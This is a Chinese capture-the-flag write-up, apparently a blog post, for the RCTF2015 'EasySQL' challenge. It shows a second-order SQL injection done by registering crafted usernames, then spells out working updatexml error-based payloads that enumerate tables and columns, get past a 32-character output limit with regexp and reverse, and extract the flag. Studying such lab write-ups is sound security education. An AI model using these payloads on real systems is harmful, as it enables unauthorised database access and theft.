[RCTF2015]EasySQL

访问页面,有loginregister两个选项;
那当然是register啊,先fuzz测试一下有哪些字符进了黑名单;
黑名单
200是被ban的,302是没有被ban 的;
可以看到"\都没有被过滤;
先注册完进去看看里面有什么内容;
登录进去后,可以看到这样的界面;
主页面

点击账号,发现有个修改密码的功能,严重怀疑是注入点;

注册一个账户k1ose",在修改密码的时候有报错;
报错

可以看到是双引号字符型;
猜测这里的SQL语句应该是:

.... where username = "name" and pwd = 'xxx'

那么可以二次注入,创建账号,然后在修改密码处用报错的方法获取信息;
这里用updatexml
注册一个账户名:
k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

改密码触发报错,表flag出现了:
爆出flag表
接着深挖;
k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#
得到字段名;
在这里插入图片描述
k1ose"||(updatexml(1,concat(0x3a,(select(flag)from(flag))),1))#

结果没有在flag表中…
骗子
出现信息不全是因为只能显示前32位字符;
现在去看看users表;

k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

在这里插入图片描述

看来应该实在real_flag_1s_here中;

k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(name,0x2b,pwd,0x2b,email,0x2b,real_flag_1s_here))from(users))),1))#
显然这是不可能显示得出flag的;
32位字符不够显示
但是难受的是left、right、mid也被过滤了,只能另寻他法;

k1ose"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
这里直接用正则表达式;
爆出flag的一部分;
flag的前一部分
剩下的逆序输出;
k1ose"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

逆序flag
得到flag;

flag{42c2c79e-7900-4b06-8d69-3bba6e6043fb}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值